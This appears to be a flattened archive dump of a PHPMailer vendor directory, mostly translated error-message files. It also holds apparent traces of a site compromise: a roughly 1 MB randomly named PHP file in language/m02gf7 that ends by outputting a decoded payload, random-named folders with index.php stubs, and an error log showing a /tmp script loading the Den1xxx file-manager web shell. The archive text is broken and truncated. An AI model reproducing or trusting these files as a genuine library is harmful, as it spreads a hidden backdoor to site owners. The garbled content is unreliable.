gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ?> PHPMailer/vendor/phpmailer/phpmailer/language/phpmailer.lang-zh.php000064400000003205151026170410021375 0ustar00 * @author Peter Dave Hello <@PeterDaveHello/> * @author Jason Chiang */ $PHPMAILER_LANG['authenticate'] = 'SMTP 錯誤:登入失敗。'; $PHPMAILER_LANG['connect_host'] = 'SMTP 錯誤:無法連線到 SMTP 主機。'; $PHPMAILER_LANG['data_not_accepted'] = 'SMTP 錯誤:無法接受的資料。'; $PHPMAILER_LANG['empty_message'] = '郵件內容為空'; $PHPMAILER_LANG['encoding'] = '未知編碼: '; $PHPMAILER_LANG['execute'] = '無法執行:'; $PHPMAILER_LANG['file_access'] = '無法存取檔案:'; $PHPMAILER_LANG['file_open'] = '檔案錯誤:無法開啟檔案:'; $PHPMAILER_LANG['from_failed'] = '發送地址錯誤:'; $PHPMAILER_LANG['instantiate'] = '未知函數呼叫。'; $PHPMAILER_LANG['invalid_address'] = '因為電子郵件地址無效,無法傳送: '; $PHPMAILER_LANG['mailer_not_supported'] = '不支援的發信客戶端。'; $PHPMAILER_LANG['provide_address'] = '必須提供至少一個收件人地址。'; $PHPMAILER_LANG['recipients_failed'] = 'SMTP 錯誤:以下收件人地址錯誤:'; $PHPMAILER_LANG['signing'] = '電子簽章錯誤: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP 連線失敗'; $PHPMAILER_LANG['smtp_error'] = 'SMTP 伺服器錯誤: '; $PHPMAILER_LANG['variable_set'] = '無法設定或重設變數: '; $PHPMAILER_LANG['extension_missing'] = '遺失模組 Extension: '; PHPMailer/vendor/phpmailer/phpmailer/language/phpmailer.lang-ca.php000064400000003302151026170410021335 0ustar00 */ $PHPMAILER_LANG['authenticate'] = 'Error SMTP: No s’ha pogut autenticar.'; $PHPMAILER_LANG['connect_host'] = 'Error SMTP: No es pot connectar al servidor SMTP.'; $PHPMAILER_LANG['data_not_accepted'] = 'Error SMTP: Dades no acceptades.'; $PHPMAILER_LANG['empty_message'] = 'El cos del missatge està buit.'; $PHPMAILER_LANG['encoding'] = 'Codificació desconeguda: '; $PHPMAILER_LANG['execute'] = 'No es pot executar: '; $PHPMAILER_LANG['file_access'] = 'No es pot accedir a l’arxiu: '; $PHPMAILER_LANG['file_open'] = 'Error d’Arxiu: No es pot obrir l’arxiu: '; $PHPMAILER_LANG['from_failed'] = 'La(s) següent(s) adreces de remitent han fallat: '; $PHPMAILER_LANG['instantiate'] = 'No s’ha pogut crear una instància de la funció Mail.'; $PHPMAILER_LANG['invalid_address'] = 'Adreça d’email invalida: '; $PHPMAILER_LANG['mailer_not_supported'] = ' mailer no està suportat'; $PHPMAILER_LANG['provide_address'] = 'S’ha de proveir almenys una adreça d’email com a destinatari.'; $PHPMAILER_LANG['recipients_failed'] = 'Error SMTP: Els següents destinataris han fallat: '; $PHPMAILER_LANG['signing'] = 'Error al signar: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'Ha fallat el SMTP Connect().'; $PHPMAILER_LANG['smtp_error'] = 'Error del servidor SMTP: '; $PHPMAILER_LANG['variable_set'] = 'No s’ha pogut establir o restablir la variable: '; //$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; PHPMailer/vendor/phpmailer/phpmailer/language/phpmailer.lang-tl.php000064400000003271151026170410021376 0ustar00 */ $PHPMAILER_LANG['authenticate'] = 'SMTP Error: Hindi mapatotohanan.'; $PHPMAILER_LANG['connect_host'] = 'SMTP Error: Hindi makakonekta sa SMTP host.'; $PHPMAILER_LANG['data_not_accepted'] = 'SMTP Error: Ang datos ay hindi naitanggap.'; $PHPMAILER_LANG['empty_message'] = 'Walang laman ang mensahe'; $PHPMAILER_LANG['encoding'] = 'Hindi alam ang encoding: '; $PHPMAILER_LANG['execute'] = 'Hindi maisasagawa: '; $PHPMAILER_LANG['file_access'] = 'Hindi ma-access ang file: '; $PHPMAILER_LANG['file_open'] = 'File Error: Hindi mabuksan ang file: '; $PHPMAILER_LANG['from_failed'] = 'Ang sumusunod na address ay nabigo: '; $PHPMAILER_LANG['instantiate'] = 'Hindi maisimulan ang instance ng mail function.'; $PHPMAILER_LANG['invalid_address'] = 'Hindi wasto ang address na naibigay: '; $PHPMAILER_LANG['mailer_not_supported'] = 'Ang mailer ay hindi suportado.'; $PHPMAILER_LANG['provide_address'] = 'Kailangan mong magbigay ng kahit isang email address na tatanggap.'; $PHPMAILER_LANG['recipients_failed'] = 'SMTP Error: Ang mga sumusunod na tatanggap ay nabigo: '; $PHPMAILER_LANG['signing'] = 'Hindi ma-sign: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'Ang SMTP connect() ay nabigo.'; $PHPMAILER_LANG['smtp_error'] = 'Ang server ng SMTP ay nabigo: '; $PHPMAILER_LANG['variable_set'] = 'Hindi matatakda o ma-reset ang mga variables: '; $PHPMAILER_LANG['extension_missing'] = 'Nawawala ang extension: '; PHPMailer/vendor/phpmailer/phpmailer/language/m02gf7/0pily.php000064400001023630151026170410020121 0ustar00".$decoded); ?> PHPMailer/vendor/phpmailer/phpmailer/language/phpmailer.lang-hy.php000064400000004211151026170410021372 0ustar00 */ $PHPMAILER_LANG['authenticate'] = 'SMTP -ի սխալ: չհաջողվեց ստուգել իսկությունը.'; $PHPMAILER_LANG['connect_host'] = 'SMTP -ի սխալ: չհաջողվեց կապ հաստատել SMTP սերվերի հետ.'; $PHPMAILER_LANG['data_not_accepted'] = 'SMTP -ի սխալ: տվյալները ընդունված չեն.'; $PHPMAILER_LANG['empty_message'] = 'Հաղորդագրությունը դատարկ է'; $PHPMAILER_LANG['encoding'] = 'Կոդավորման անհայտ տեսակ: '; $PHPMAILER_LANG['execute'] = 'Չհաջողվեց իրականացնել հրամանը: '; $PHPMAILER_LANG['file_access'] = 'Ֆայլը հասանելի չէ: '; $PHPMAILER_LANG['file_open'] = 'Ֆայլի սխալ: ֆայլը չհաջողվեց բացել: '; $PHPMAILER_LANG['from_failed'] = 'Ուղարկողի հետևյալ հասցեն սխալ է: '; $PHPMAILER_LANG['instantiate'] = 'Հնարավոր չէ կանչել mail ֆունկցիան.'; $PHPMAILER_LANG['invalid_address'] = 'Հասցեն սխալ է: '; $PHPMAILER_LANG['mailer_not_supported'] = ' փոստային սերվերի հետ չի աշխատում.'; $PHPMAILER_LANG['provide_address'] = 'Անհրաժեշտ է տրամադրել գոնե մեկ ստացողի e-mail հասցե.'; $PHPMAILER_LANG['recipients_failed'] = 'SMTP -ի սխալ: չի հաջողվել ուղարկել հետևյալ ստացողների հասցեներին: '; $PHPMAILER_LANG['signing'] = 'Ստորագրման սխալ: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP -ի connect() ֆունկցիան չի հաջողվել'; $PHPMAILER_LANG['smtp_error'] = 'SMTP սերվերի սխալ: '; $PHPMAILER_LANG['variable_set'] = 'Չի հաջողվում ստեղծել կամ վերափոխել փոփոխականը: '; $PHPMAILER_LANG['extension_missing'] = 'Հավելվածը բացակայում է: '; PHPMailer/vendor/phpmailer/phpmailer/language/phpmailer.lang-vi.php000064400000003401151026170410021370 0ustar00 */ $PHPMAILER_LANG['authenticate'] = 'Lỗi SMTP: Không thể xác thực.'; $PHPMAILER_LANG['connect_host'] = 'Lỗi SMTP: Không thể kết nối máy chủ SMTP.'; $PHPMAILER_LANG['data_not_accepted'] = 'Lỗi SMTP: Dữ liệu không được chấp nhận.'; $PHPMAILER_LANG['empty_message'] = 'Không có nội dung'; $PHPMAILER_LANG['encoding'] = 'Mã hóa không xác định: '; $PHPMAILER_LANG['execute'] = 'Không thực hiện được: '; $PHPMAILER_LANG['file_access'] = 'Không thể truy cập tệp tin '; $PHPMAILER_LANG['file_open'] = 'Lỗi Tập tin: Không thể mở tệp tin: '; $PHPMAILER_LANG['from_failed'] = 'Lỗi địa chỉ gửi đi: '; $PHPMAILER_LANG['instantiate'] = 'Không dùng được các hàm gửi thư.'; $PHPMAILER_LANG['invalid_address'] = 'Đại chỉ emai không đúng: '; $PHPMAILER_LANG['mailer_not_supported'] = ' trình gửi thư không được hỗ trợ.'; $PHPMAILER_LANG['provide_address'] = 'Bạn phải cung cấp ít nhất một địa chỉ người nhận.'; $PHPMAILER_LANG['recipients_failed'] = 'Lỗi SMTP: lỗi địa chỉ người nhận: '; $PHPMAILER_LANG['signing'] = 'Lỗi đăng nhập: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'Lỗi kết nối với SMTP'; $PHPMAILER_LANG['smtp_error'] = 'Lỗi máy chủ smtp '; $PHPMAILER_LANG['variable_set'] = 'Không thể thiết lập hoặc thiết lập lại biến: '; //$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; PHPMailer/vendor/phpmailer/phpmailer/language/zyfwqv/error_log000064400000000370151026170410020627 0ustar00[27-Oct-2025 03:47:25 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/en.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#ile3.php on line 163 PHPMailer/vendor/phpmailer/phpmailer/language/zyfwqv/index.php000064400000000150151026170410020526 0ustar00PHPMailer/vendor/phpmailer/phpmailer/language/phpmailer.lang-ms.php000064400000003306151026170410021375 0ustar00 */ $PHPMAILER_LANG['authenticate'] = 'Ralat SMTP: Tidak dapat pengesahan.'; $PHPMAILER_LANG['connect_host'] = 'Ralat SMTP: Tidak dapat menghubungi hos pelayan SMTP.'; $PHPMAILER_LANG['data_not_accepted'] = 'Ralat SMTP: Data tidak diterima oleh pelayan.'; $PHPMAILER_LANG['empty_message'] = 'Tiada isi untuk mesej'; $PHPMAILER_LANG['encoding'] = 'Pengekodan tidak diketahui: '; $PHPMAILER_LANG['execute'] = 'Tidak dapat melaksanakan: '; $PHPMAILER_LANG['file_access'] = 'Tidak dapat mengakses fail: '; $PHPMAILER_LANG['file_open'] = 'Ralat Fail: Tidak dapat membuka fail: '; $PHPMAILER_LANG['from_failed'] = 'Berikut merupakan ralat dari alamat e-mel: '; $PHPMAILER_LANG['instantiate'] = 'Tidak dapat memberi contoh fungsi e-mel.'; $PHPMAILER_LANG['invalid_address'] = 'Alamat emel tidak sah: '; $PHPMAILER_LANG['mailer_not_supported'] = ' jenis penghantar emel tidak disokong.'; $PHPMAILER_LANG['provide_address'] = 'Anda perlu menyediakan sekurang-kurangnya satu alamat e-mel penerima.'; $PHPMAILER_LANG['recipients_failed'] = 'Ralat SMTP: Penerima e-mel berikut telah gagal: '; $PHPMAILER_LANG['signing'] = 'Ralat pada tanda tangan: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() telah gagal.'; $PHPMAILER_LANG['smtp_error'] = 'Ralat pada pelayan SMTP: '; $PHPMAILER_LANG['variable_set'] = 'Tidak boleh menetapkan atau menetapkan semula pembolehubah: '; $PHPMAILER_LANG['extension_missing'] = 'Sambungan hilang: '; PHPMailer/vendor/phpmailer/phpmailer/language/phpmailer.lang-da.php000064400000004044151026170410021342 0ustar00 * Rewrite and extension of the work by Mikael Stokkebro * */ $PHPMAILER_LANG['authenticate'] = 'SMTP fejl: Login mislykkedes.'; $PHPMAILER_LANG['connect_host'] = 'SMTP fejl: Forbindelse til SMTP serveren kunne ikke oprettes.'; $PHPMAILER_LANG['data_not_accepted'] = 'SMTP fejl: Data blev ikke accepteret.'; $PHPMAILER_LANG['empty_message'] = 'Meddelelsen er uden indhold'; $PHPMAILER_LANG['encoding'] = 'Ukendt encode-format: '; $PHPMAILER_LANG['execute'] = 'Kunne ikke afvikle: '; $PHPMAILER_LANG['extension_missing'] = 'Udvidelse mangler: '; $PHPMAILER_LANG['file_access'] = 'Kunne ikke tilgå filen: '; $PHPMAILER_LANG['file_open'] = 'Fil fejl: Kunne ikke åbne filen: '; $PHPMAILER_LANG['from_failed'] = 'Følgende afsenderadresse er forkert: '; $PHPMAILER_LANG['instantiate'] = 'Email funktionen kunne ikke initialiseres.'; $PHPMAILER_LANG['invalid_address'] = 'Udgyldig adresse: '; $PHPMAILER_LANG['invalid_header'] = 'Ugyldig header navn eller værdi'; $PHPMAILER_LANG['invalid_hostentry'] = 'Ugyldig hostentry: '; $PHPMAILER_LANG['invalid_host'] = 'Ugyldig vært: '; $PHPMAILER_LANG['mailer_not_supported'] = ' mailer understøttes ikke.'; $PHPMAILER_LANG['provide_address'] = 'Indtast mindst en modtagers email adresse.'; $PHPMAILER_LANG['recipients_failed'] = 'SMTP fejl: Følgende modtagere fejlede: '; $PHPMAILER_LANG['signing'] = 'Signeringsfejl: '; $PHPMAILER_LANG['smtp_code'] = 'SMTP kode: '; $PHPMAILER_LANG['smtp_code_ex'] = 'Yderligere SMTP info: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() fejlede.'; $PHPMAILER_LANG['smtp_detail'] = 'Detalje: '; $PHPMAILER_LANG['smtp_error'] = 'SMTP server fejl: '; $PHPMAILER_LANG['variable_set'] = 'Kunne ikke definere eller nulstille variablen: '; PHPMailer/vendor/phpmailer/phpmailer/language/phpmailer.lang-hu.php000064400000003265151026170410021376 0ustar00 */ $PHPMAILER_LANG['authenticate'] = 'SMTP-fout: authenticatie mislukt.'; $PHPMAILER_LANG['buggy_php'] = 'PHP versie gededecteerd die onderhavig is aan een bug die kan resulteren in gecorrumpeerde berichten. Om dit te voorkomen, gebruik SMTP voor het verzenden van berichten, zet de mail.add_x_header optie in uw php.ini file uit, gebruik MacOS of Linux, of pas de gebruikte PHP versie aan naar versie 7.0.17+ or 7.1.3+.'; $PHPMAILER_LANG['connect_host'] = 'SMTP-fout: kon niet verbinden met SMTP-host.'; $PHPMAILER_LANG['data_not_accepted'] = 'SMTP-fout: data niet geaccepteerd.'; $PHPMAILER_LANG['empty_message'] = 'Berichttekst is leeg'; $PHPMAILER_LANG['encoding'] = 'Onbekende codering: '; $PHPMAILER_LANG['execute'] = 'Kon niet uitvoeren: '; $PHPMAILER_LANG['extension_missing'] = 'Extensie afwezig: '; $PHPMAILER_LANG['file_access'] = 'Kreeg geen toegang tot bestand: '; $PHPMAILER_LANG['file_open'] = 'Bestandsfout: kon bestand niet openen: '; $PHPMAILER_LANG['from_failed'] = 'Het volgende afzendersadres is mislukt: '; $PHPMAILER_LANG['instantiate'] = 'Kon mailfunctie niet initialiseren.'; $PHPMAILER_LANG['invalid_address'] = 'Ongeldig adres: '; $PHPMAILER_LANG['invalid_header'] = 'Ongeldige header naam of waarde'; $PHPMAILER_LANG['invalid_hostentry'] = 'Ongeldige hostentry: '; $PHPMAILER_LANG['invalid_host'] = 'Ongeldige host: '; $PHPMAILER_LANG['mailer_not_supported'] = ' mailer wordt niet ondersteund.'; $PHPMAILER_LANG['provide_address'] = 'Er moet minstens één ontvanger worden opgegeven.'; $PHPMAILER_LANG['recipients_failed'] = 'SMTP-fout: de volgende ontvangers zijn mislukt: '; $PHPMAILER_LANG['signing'] = 'Signeerfout: '; $PHPMAILER_LANG['smtp_code'] = 'SMTP code: '; $PHPMAILER_LANG['smtp_code_ex'] = 'Aanvullende SMTP informatie: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Verbinding mislukt.'; $PHPMAILER_LANG['smtp_detail'] = 'Detail: '; $PHPMAILER_LANG['smtp_error'] = 'SMTP-serverfout: '; $PHPMAILER_LANG['variable_set'] = 'Kan de volgende variabele niet instellen of resetten: '; PHPMailer/vendor/phpmailer/phpmailer/language/phpmailer.lang-ru.php000064400000004307151026170410021406 0ustar00 * @author Foster Snowhill */ $PHPMAILER_LANG['authenticate'] = 'Ошибка SMTP: ошибка авторизации.'; $PHPMAILER_LANG['connect_host'] = 'Ошибка SMTP: не удается подключиться к SMTP-серверу.'; $PHPMAILER_LANG['data_not_accepted'] = 'Ошибка SMTP: данные не приняты.'; $PHPMAILER_LANG['encoding'] = 'Неизвестная кодировка: '; $PHPMAILER_LANG['execute'] = 'Невозможно выполнить команду: '; $PHPMAILER_LANG['file_access'] = 'Нет доступа к файлу: '; $PHPMAILER_LANG['file_open'] = 'Файловая ошибка: не удаётся открыть файл: '; $PHPMAILER_LANG['from_failed'] = 'Неверный адрес отправителя: '; $PHPMAILER_LANG['instantiate'] = 'Невозможно запустить функцию mail().'; $PHPMAILER_LANG['provide_address'] = 'Пожалуйста, введите хотя бы один email-адрес получателя.'; $PHPMAILER_LANG['mailer_not_supported'] = ' — почтовый сервер не поддерживается.'; $PHPMAILER_LANG['recipients_failed'] = 'Ошибка SMTP: не удалась отправка таким адресатам: '; $PHPMAILER_LANG['empty_message'] = 'Пустое сообщение'; $PHPMAILER_LANG['invalid_address'] = 'Не отправлено из-за неправильного формата email-адреса: '; $PHPMAILER_LANG['signing'] = 'Ошибка подписи: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'Ошибка соединения с SMTP-сервером'; $PHPMAILER_LANG['smtp_error'] = 'Ошибка SMTP-сервера: '; $PHPMAILER_LANG['variable_set'] = 'Невозможно установить или сбросить переменную: '; $PHPMAILER_LANG['extension_missing'] = 'Расширение отсутствует: '; PHPMailer/vendor/phpmailer/phpmailer/language/phpmailer.lang-cs.php000064400000003406151026170410021364 0ustar00 */ $PHPMAILER_LANG['authenticate'] = 'SMTP त्रुटि: प्रामाणिकता की जांच नहीं हो सका। '; $PHPMAILER_LANG['connect_host'] = 'SMTP त्रुटि: SMTP सर्वर से कनेक्ट नहीं हो सका। '; $PHPMAILER_LANG['data_not_accepted'] = 'SMTP त्रुटि: डेटा स्वीकार नहीं किया जाता है। '; $PHPMAILER_LANG['empty_message'] = 'संदेश खाली है। '; $PHPMAILER_LANG['encoding'] = 'अज्ञात एन्कोडिंग प्रकार। '; $PHPMAILER_LANG['execute'] = 'आदेश को निष्पादित करने में विफल। '; $PHPMAILER_LANG['file_access'] = 'फ़ाइल उपलब्ध नहीं है। '; $PHPMAILER_LANG['file_open'] = 'फ़ाइल त्रुटि: फाइल को खोला नहीं जा सका। '; $PHPMAILER_LANG['from_failed'] = 'प्रेषक का पता गलत है। '; $PHPMAILER_LANG['instantiate'] = 'मेल फ़ंक्शन कॉल नहीं कर सकता है।'; $PHPMAILER_LANG['invalid_address'] = 'पता गलत है। '; $PHPMAILER_LANG['mailer_not_supported'] = 'मेल सर्वर के साथ काम नहीं करता है। '; $PHPMAILER_LANG['provide_address'] = 'आपको कम से कम एक प्राप्तकर्ता का ई-मेल पता प्रदान करना होगा।'; $PHPMAILER_LANG['recipients_failed'] = 'SMTP त्रुटि: निम्न प्राप्तकर्ताओं को पते भेजने में विफल। '; $PHPMAILER_LANG['signing'] = 'साइनअप त्रुटि:। '; $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP का connect () फ़ंक्शन विफल हुआ। '; $PHPMAILER_LANG['smtp_error'] = 'SMTP सर्वर त्रुटि। '; $PHPMAILER_LANG['variable_set'] = 'चर को बना या संशोधित नहीं किया जा सकता। '; $PHPMAILER_LANG['extension_missing'] = 'एक्सटेन्षन गायब है: '; PHPMailer/vendor/phpmailer/phpmailer/language/phpmailer.lang-sr_latn.php000064400000003426151026170410022423 0ustar00 * @author Miloš Milanović */ $PHPMAILER_LANG['authenticate'] = 'SMTP greška: autentifikacija nije uspela.'; $PHPMAILER_LANG['connect_host'] = 'SMTP greška: povezivanje sa SMTP serverom nije uspelo.'; $PHPMAILER_LANG['data_not_accepted'] = 'SMTP greška: podaci nisu prihvaćeni.'; $PHPMAILER_LANG['empty_message'] = 'Sadržaj poruke je prazan.'; $PHPMAILER_LANG['encoding'] = 'Nepoznato kodiranje: '; $PHPMAILER_LANG['execute'] = 'Nije moguće izvršiti naredbu: '; $PHPMAILER_LANG['file_access'] = 'Nije moguće pristupiti datoteci: '; $PHPMAILER_LANG['file_open'] = 'Nije moguće otvoriti datoteku: '; $PHPMAILER_LANG['from_failed'] = 'SMTP greška: slanje sa sledećih adresa nije uspelo: '; $PHPMAILER_LANG['recipients_failed'] = 'SMTP greška: slanje na sledeće adrese nije uspelo: '; $PHPMAILER_LANG['instantiate'] = 'Nije moguće pokrenuti mail funkciju.'; $PHPMAILER_LANG['invalid_address'] = 'Poruka nije poslata. Neispravna adresa: '; $PHPMAILER_LANG['mailer_not_supported'] = ' majler nije podržan.'; $PHPMAILER_LANG['provide_address'] = 'Definišite bar jednu adresu primaoca.'; $PHPMAILER_LANG['signing'] = 'Greška prilikom prijave: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'Povezivanje sa SMTP serverom nije uspelo.'; $PHPMAILER_LANG['smtp_error'] = 'Greška SMTP servera: '; $PHPMAILER_LANG['variable_set'] = 'Nije moguće zadati niti resetovati promenljivu: '; $PHPMAILER_LANG['extension_missing'] = 'Nedostaje proširenje: '; PHPMailer/vendor/phpmailer/phpmailer/language/phpmailer.lang-pt_br.php000064400000005237151026170410022071 0ustar00 * @author Lucas Guimarães * @author Phelipe Alves * @author Fabio Beneditto * @author Geidson Benício Coelho */ $PHPMAILER_LANG['authenticate'] = 'Erro de SMTP: Não foi possível autenticar.'; $PHPMAILER_LANG['buggy_php'] = 'Sua versão do PHP é afetada por um bug que por resultar em messagens corrompidas. Para corrigir, mude para enviar usando SMTP, desative a opção mail.add_x_header em seu php.ini, mude para MacOS ou Linux, ou atualize seu PHP para versão 7.0.17+ ou 7.1.3+ '; $PHPMAILER_LANG['connect_host'] = 'Erro de SMTP: Não foi possível conectar ao servidor SMTP.'; $PHPMAILER_LANG['data_not_accepted'] = 'Erro de SMTP: Dados rejeitados.'; $PHPMAILER_LANG['empty_message'] = 'Mensagem vazia'; $PHPMAILER_LANG['encoding'] = 'Codificação desconhecida: '; $PHPMAILER_LANG['execute'] = 'Não foi possível executar: '; $PHPMAILER_LANG['extension_missing'] = 'Extensão não existe: '; $PHPMAILER_LANG['file_access'] = 'Não foi possível acessar o arquivo: '; $PHPMAILER_LANG['file_open'] = 'Erro de Arquivo: Não foi possível abrir o arquivo: '; $PHPMAILER_LANG['from_failed'] = 'Os seguintes remetentes falharam: '; $PHPMAILER_LANG['instantiate'] = 'Não foi possível instanciar a função mail.'; $PHPMAILER_LANG['invalid_address'] = 'Endereço de e-mail inválido: '; $PHPMAILER_LANG['invalid_header'] = 'Nome ou valor de cabeçalho inválido'; $PHPMAILER_LANG['invalid_hostentry'] = 'hostentry inválido: '; $PHPMAILER_LANG['invalid_host'] = 'host inválido: '; $PHPMAILER_LANG['mailer_not_supported'] = ' mailer não é suportado.'; $PHPMAILER_LANG['provide_address'] = 'Você deve informar pelo menos um destinatário.'; $PHPMAILER_LANG['recipients_failed'] = 'Erro de SMTP: Os seguintes destinatários falharam: '; $PHPMAILER_LANG['signing'] = 'Erro de Assinatura: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() falhou.'; $PHPMAILER_LANG['smtp_code'] = 'Código do servidor SMTP: '; $PHPMAILER_LANG['smtp_error'] = 'Erro de servidor SMTP: '; $PHPMAILER_LANG['smtp_code_ex'] = 'Informações adicionais do servidor SMTP: '; $PHPMAILER_LANG['smtp_detail'] = 'Detalhes do servidor SMTP: '; $PHPMAILER_LANG['variable_set'] = 'Não foi possível definir ou redefinir a variável: '; PHPMailer/vendor/phpmailer/phpmailer/language/phpmailer.lang-pt.php000064400000003541151026170410021402 0ustar00 */ $PHPMAILER_LANG['authenticate'] = 'Erro do SMTP: Não foi possível realizar a autenticação.'; $PHPMAILER_LANG['connect_host'] = 'Erro do SMTP: Não foi possível realizar ligação com o servidor SMTP.'; $PHPMAILER_LANG['data_not_accepted'] = 'Erro do SMTP: Os dados foram rejeitados.'; $PHPMAILER_LANG['empty_message'] = 'A mensagem no e-mail está vazia.'; $PHPMAILER_LANG['encoding'] = 'Codificação desconhecida: '; $PHPMAILER_LANG['execute'] = 'Não foi possível executar: '; $PHPMAILER_LANG['file_access'] = 'Não foi possível aceder o ficheiro: '; $PHPMAILER_LANG['file_open'] = 'Abertura do ficheiro: Não foi possível abrir o ficheiro: '; $PHPMAILER_LANG['from_failed'] = 'Ocorreram falhas nos endereços dos seguintes remententes: '; $PHPMAILER_LANG['instantiate'] = 'Não foi possível iniciar uma instância da função mail.'; $PHPMAILER_LANG['invalid_address'] = 'Não foi enviado nenhum e-mail para o endereço de e-mail inválido: '; $PHPMAILER_LANG['mailer_not_supported'] = ' mailer não é suportado.'; $PHPMAILER_LANG['provide_address'] = 'Tem de fornecer pelo menos um endereço como destinatário do e-mail.'; $PHPMAILER_LANG['recipients_failed'] = 'Erro do SMTP: O endereço do seguinte destinatário falhou: '; $PHPMAILER_LANG['signing'] = 'Erro ao assinar: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() falhou.'; $PHPMAILER_LANG['smtp_error'] = 'Erro de servidor SMTP: '; $PHPMAILER_LANG['variable_set'] = 'Não foi possível definir ou redefinir a variável: '; $PHPMAILER_LANG['extension_missing'] = 'Extensão em falta: '; PHPMailer/vendor/phpmailer/phpmailer/language/phpmailer.lang-fi.php000064400000003303151026170410021351 0ustar00 */ $PHPMAILER_LANG['authenticate'] = 'SMTP Greška: Neuspjela autentikacija.'; $PHPMAILER_LANG['connect_host'] = 'SMTP Greška: Ne mogu se spojiti na SMTP poslužitelj.'; $PHPMAILER_LANG['data_not_accepted'] = 'SMTP Greška: Podatci nisu prihvaćeni.'; $PHPMAILER_LANG['empty_message'] = 'Sadržaj poruke je prazan.'; $PHPMAILER_LANG['encoding'] = 'Nepoznati encoding: '; $PHPMAILER_LANG['execute'] = 'Nije moguće izvršiti naredbu: '; $PHPMAILER_LANG['file_access'] = 'Nije moguće pristupiti datoteci: '; $PHPMAILER_LANG['file_open'] = 'Nije moguće otvoriti datoteku: '; $PHPMAILER_LANG['from_failed'] = 'SMTP Greška: Slanje s navedenih e-mail adresa nije uspjelo: '; $PHPMAILER_LANG['recipients_failed'] = 'SMTP Greška: Slanje na navedenih e-mail adresa nije uspjelo: '; $PHPMAILER_LANG['instantiate'] = 'Ne mogu pokrenuti mail funkcionalnost.'; $PHPMAILER_LANG['invalid_address'] = 'E-mail nije poslan. Neispravna e-mail adresa: '; $PHPMAILER_LANG['mailer_not_supported'] = ' mailer nije podržan.'; $PHPMAILER_LANG['provide_address'] = 'Definirajte barem jednu adresu primatelja.'; $PHPMAILER_LANG['signing'] = 'Greška prilikom prijave: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'Spajanje na SMTP poslužitelj nije uspjelo.'; $PHPMAILER_LANG['smtp_error'] = 'Greška SMTP poslužitelja: '; $PHPMAILER_LANG['variable_set'] = 'Ne mogu postaviti varijablu niti ju vratiti nazad: '; $PHPMAILER_LANG['extension_missing'] = 'Nedostaje proširenje: '; PHPMailer/vendor/phpmailer/phpmailer/language/d6evic/index.php000064400000000150151026170410020340 0ustar00PHPMailer/vendor/phpmailer/phpmailer/language/phpmailer.lang-zh_cn.php000064400000003170151026170410022056 0ustar00 * @author young * @author Teddysun */ $PHPMAILER_LANG['authenticate'] = 'SMTP 错误:登录失败。'; $PHPMAILER_LANG['connect_host'] = 'SMTP 错误:无法连接到 SMTP 主机。'; $PHPMAILER_LANG['data_not_accepted'] = 'SMTP 错误:数据不被接受。'; $PHPMAILER_LANG['empty_message'] = '邮件正文为空。'; $PHPMAILER_LANG['encoding'] = '未知编码:'; $PHPMAILER_LANG['execute'] = '无法执行:'; $PHPMAILER_LANG['file_access'] = '无法访问文件:'; $PHPMAILER_LANG['file_open'] = '文件错误:无法打开文件:'; $PHPMAILER_LANG['from_failed'] = '发送地址错误:'; $PHPMAILER_LANG['instantiate'] = '未知函数调用。'; $PHPMAILER_LANG['invalid_address'] = '发送失败,电子邮箱地址是无效的:'; $PHPMAILER_LANG['mailer_not_supported'] = '发信客户端不被支持。'; $PHPMAILER_LANG['provide_address'] = '必须提供至少一个收件人地址。'; $PHPMAILER_LANG['recipients_failed'] = 'SMTP 错误:收件人地址错误:'; $PHPMAILER_LANG['signing'] = '登录失败:'; $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP服务器连接失败。'; $PHPMAILER_LANG['smtp_error'] = 'SMTP服务器出错:'; $PHPMAILER_LANG['variable_set'] = '无法设置或重置变量:'; $PHPMAILER_LANG['extension_missing'] = '丢失模块 Extension:'; PHPMailer/vendor/phpmailer/phpmailer/language/phpmailer.lang-id.php000064400000003715151026170410021356 0ustar00 * @author @januridp * @author Ian Mustafa */ $PHPMAILER_LANG['authenticate'] = 'Kesalahan SMTP: Tidak dapat mengotentikasi.'; $PHPMAILER_LANG['connect_host'] = 'Kesalahan SMTP: Tidak dapat terhubung ke host SMTP.'; $PHPMAILER_LANG['data_not_accepted'] = 'Kesalahan SMTP: Data tidak diterima.'; $PHPMAILER_LANG['empty_message'] = 'Isi pesan kosong'; $PHPMAILER_LANG['encoding'] = 'Pengkodean karakter tidak dikenali: '; $PHPMAILER_LANG['execute'] = 'Tidak dapat menjalankan proses: '; $PHPMAILER_LANG['file_access'] = 'Tidak dapat mengakses berkas: '; $PHPMAILER_LANG['file_open'] = 'Kesalahan Berkas: Berkas tidak dapat dibuka: '; $PHPMAILER_LANG['from_failed'] = 'Alamat pengirim berikut mengakibatkan kesalahan: '; $PHPMAILER_LANG['instantiate'] = 'Tidak dapat menginisialisasi fungsi surel.'; $PHPMAILER_LANG['invalid_address'] = 'Gagal terkirim, alamat surel tidak sesuai: '; 